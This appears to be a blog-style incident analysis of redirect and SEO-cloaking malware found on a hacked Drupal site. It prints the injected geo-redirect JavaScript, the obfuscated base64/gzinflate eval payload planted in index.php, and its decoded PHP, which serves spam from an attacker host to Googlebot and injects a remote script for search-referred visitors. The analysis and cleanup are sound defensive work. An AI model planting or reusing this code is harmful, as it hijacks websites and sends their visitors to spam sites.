Drupal Redirect Malware

Just encountered a rather interesting redirection malware. The first sign that something was wrong was that the search engine results on Google had spammy metadata. This may not be an actual compromise as it could have been caused by issues such as spammers submitting fake sitemaps to Google. While accessing the site, it loaded fine. However, the redirection failed sporadically and I managed to find the following external javascript file embedded onto the site. This was the first sign that the website was truly hacked.

image

I pulled down the javascript file and found that it checked the country code of your IP address and redirected you to www(.)hmbags(.)tw if you happened to have a Taiwan IP. Perhaps the ip-api.com connection timed out occasionally hence giving me the opportunity to catch the redirection happening.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
    function ajax(options) {
        options = options || {};
        options.type = (options.type || "GET").toUpperCase();
        options.dataType = options.dataType || "json";
        var params = formatParams(options.data);
        var xhr;
        if (window.XMLHttpRequest) {
            xhr = new XMLHttpRequest();
        } else if (window.ActiveObject) {
            xhr = new ActiveXobject('Microsoft.XMLHTTP');
        }
        if (options.type == "GET") {
            xhr.open("GET", options.url, true);
            xhr.send(null);
        } else if (options.type == "POST") {
            xhr.open("post", options.url, true);
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.send(params);
        }
        setTimeout(function() {
            if (xhr.readySate != 4) {
                xhr.abort();
            }
        }, options.timeout)
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                var status = xhr.status;
                if (status >= 200 && status < 300 || status == 304) {
                    options.success && options.success(xhr.responseText, xhr.responseXML);
                } else {
                    options.error && options.error(status);
                }
            }
        }
    }

    function formatParams(data) {
        var arr = [];
        for (var name in data) {
            arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name]));
        }
        arr.push(("v=" + Math.random()).replace(".", ""));
        return arr.join("&");
    }
    ajax({
        url: "https://pro.ip-api.com/json?key=FMjb5N6z7rcJ8yt",
        type: 'get',
        dataType: 'json',
        timeout: 10000,
        contentType: "application/json",
        success: function(data) {
            var location = JSON.parse(data);
            if (location.countryCode === "TW") {
                window.location.href = "https :// www. hmbags . tw /";
            } else {
                window.location.href = "";
            }
            console.log(JSON.parse(data));
        },
        error: function(e) {
            console.log(e);
        }
    })

Inspecting the contents of hmbags(.)tw on VirusTotal revealed that it is indeed responsible for the spammy content.

1
2
3
4
5
6
7
威而鋼

美國原廠正品威而鋼viagra·複燃男人的希望. 【鄭重聲明】 本站商品出貨包裝絕對隱秘,不會出現任何敏感的字眼! 威而鋼官方logo.
樂威壯(Levitra)效果明顯免處方為什麼男人會陽痿?

性欲是男性勃起機制中的關鍵。性慾強度影響男性荷爾蒙的分泌。而男性荷爾蒙誘使腦部釋放神經傳導物質向下傳導到脊髓的副交感神經核。再經陰莖海綿體神經的神經末梢及 ...
Rating: 5 · ‎1 review · ‎NT$1,480.00

Having confirmed that the website was indeed hacked, I was given access to the Drupal installation and tasked to clean up. Having cPanel access would have made it easier but Drupal does have modules available to perform file management. A little while later, I found the file which was modified (index.php) and managed to clean out the code. The attacker inserted an additional function which was decoded to reveal the following functions.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
<?php function yYVg($aQt)
{ 
$aQt=gzinflate(base64_decode($aQt));
 for($i=0;$i<strlen($aQt);$i++)
 {
$aQt[$i] = chr(ord($aQt[$i])-1);
 }
 return $aQt;
 }eval(yYVg("7ZZtb+o2FIC/k1/hRWhOVJpAt3VbuekVatNbJFpYCHebJhS5wTTuDXHkmALj9rfv2OGtjI57P2yfhiLinJw3P8c+DkL6Z1AhuIgEzbmQLHu06nbTKKiMJJvQKGUTJrWo+okuPFSN+n7w0Q/+MG/DsBcN4ClqffDvQ3MIKg9ceqyIipyNqLCUkaBjJYEbFVREBSUiTvSbhBcyysiEIg+ZiZT5heuazsY/1v5vu/0QD3ekvdsejDs3WIV7mk7ymI+oZ74rYsFyieQipx6WdC7dJ/JMSilGhYg9rGIUEGQ2mzlxQviC5ST+5MR84srZgnDnqcCX79zS5tJsGmxsbQMH/i8Dvx9Gg6CNh57nma5pG0vAhxDoFVLkvLAUoxp+5Pwxpdj+xvPGJC2oDTpLzboaXgMC8UyFZ67TmbPMmZH8+VlnAmErAK0AKPFUpN2cZtbWynkjH8d0WTaicydP8vcKrAckN4Ad89sRnxCWebt8y3t037rz8RAKUkkoUVUzr3gmaSZPQ2B5gTTLRE7SJgJoAhaGN5Xj059MZULjhCOVLoxHjKq6IvRiaCoIUZi7HiyNCtKY9HLwGrZ+BunKwbqO4GXtRiloT+r/xVCudjAfplBDuEh4jm0E5JFG//nzUZOHlD9+pUku+Ggay12rf2MtZJQtqCrp/4vi4KIYT7NYMp4dgmIjKAhoVuPkbIUtYhm0MrupxPoZ0ua5tJRKDV0Ngk63p9B1aug/gfvPeaj2d+u3rv2ghogQZGHh305vusGvreDav1aji/Nz5+z7n50fv3POGg1cw1edNjTi03Zv7419NNYqTrlCjyj3+50IptG++b3n7xh9oY1q6F9mE/jhILgPg9Z9/0bFaRxLLPBBDzTx6jBRfb7cfmo34aOFh/Lok6yG7/ifLE2J+4NTP7HANieSPaS0efJBu4NTzj1zGs2Tk4ORXHjvqM1hH40Ztu/87iCsnddLzWpcbrP1To/onMbaZsdTnPKC7ggFlVORbW1BuLM3do5jY6naiMw+ktSrw26SYmFU1IarFhF5BFMPGmg5usAOtDHJUz4Dy71DeXvolz2iAhcbo03jW/mARrnufpd1UKlsO+tW4wG+OICXUoEGoLPZ5NhQvl8MdcVExgmy/HlMcz2t6sxegnw999KiCRN/NfP9z443CUAbYgWUyNr7vlmtKXNob7PbuEWa1+rhDWL7btSUNLA9Yisvf2P2CtpWSWHTKujI77D5giScr5mX03pNXTH/avTvL/8C"));?>

### decoded version ###

error_reporting(0);
set_time_limit(0);
$key= $_SERVER["HTTP_USER_AGENT"];
$bot=is_spider();
$ref=is_referer_search();
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$jumpcode="<script type='text/javascript' src='https://www.chaoyipack.com/twyao.js'></script>";
if($_SERVER['REQUEST_URI']==="/")
{  
  if(strpos($key,'google')!==false)
  {     $TD_server="https://xin.wapvv.com/";
    $res = curlOpen($TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']);
    header("Content-Type: text/html; charset=utf-8");
    echo $res;
    die();
  }

    else
    {
       if($ref==1)
       {
        echo $jumpcode;
        die();
        }
    }
}
elseif(strpos($_SERVER['REQUEST_URI'], 'shop') !== false||strpos($_SERVER['REQUEST_URI'], 'blog') !== false||strpos($_SERVER['REQUEST_URI'], 'product') !== false)
{  
  if(strpos($key,'google')!==false)
  {     $TD_server="https://xin.wapvv.com/neiye.php";
    $res = curlOpen($TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']);
    header("Content-Type: text/html; charset=utf-8");
    echo $res;
    die();
  }

    else
    {
       if($ref==1)
       {
        echo $jumpcode;
        die();
        }
    }
}
function curlOpen($TD_server) 
{ 
  $ch2 = curl_init(); 
  curl_setopt($ch2, CURLOPT_URL, $TD_server.$_SERVER['REQUEST_URI']."/index.php?host=".$host_name."&domain=".$_SERVER['SERVER_NAME']); 
  curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211','CLIENT-IP:66.249.73.211')); 
  curl_setopt($ch2, CURLOPT_HEADER, false); 
  curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt($ch2, CURLOPT_REFERER,'http://www.google.com'); 
  curl_setopt($ch2, CURLOPT_USERAGENT,'Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)'); 
  curl_setopt($ch2, CURLOPT_TIMEOUT,60); 
  $contents = curl_exec($ch2); 
  curl_close($ch2); 
  return $contents; 
}
function is_spider()
{
    $rtnVal=0;
    try
    {
        $s_agent= 's_agent:'.strtolower($_SERVER['HTTP_USER_AGENT']);

        if (strpos($s_agent, 'google')>0
            ||strpos($s_agent, 'bingbot')>0)
        {
            $rtnVal=1;
        }
    }
    catch (Exception $w){}
    return $rtnVal;
}

function is_referer_search()
{
    $rtnVal=0;
    try
    {
        if(isset($_SERVER["HTTP_REFERER"]))
        {
            $s_referer = 's_referer:'.strtolower($_SERVER["HTTP_REFERER"]);

            if (strpos($s_referer, 'google')>0
                ||strpos($s_referer, 'bing')>0
                                ||strpos($s_referer, 'yahoo')>0)
            {
                $rtnVal=1;
            }
        }
    }
    catch (Exception $w){}
    return $rtnVal;
}
?>

In summary, if Google was crawling the homepage, the contents of https://xin(.)wapvv(.)com/ would be served which contains the same spammy content earlier seen on www(.)hmbags(.)tw. If Google was crawling any URL with shop/blog/product, https://xin(.)wapvv(.)com/neiye.php would be served instead. This explains the hijacked search results. A normal visitor would be served the twyao(.)js javascript file. The javascript file will redirect users from Taiwan to the www(.)hmbags(.)tw website.

Note: if you are following through the code, the is_spider() and is_referer_search() is superfluous code which have no effect on the outcome.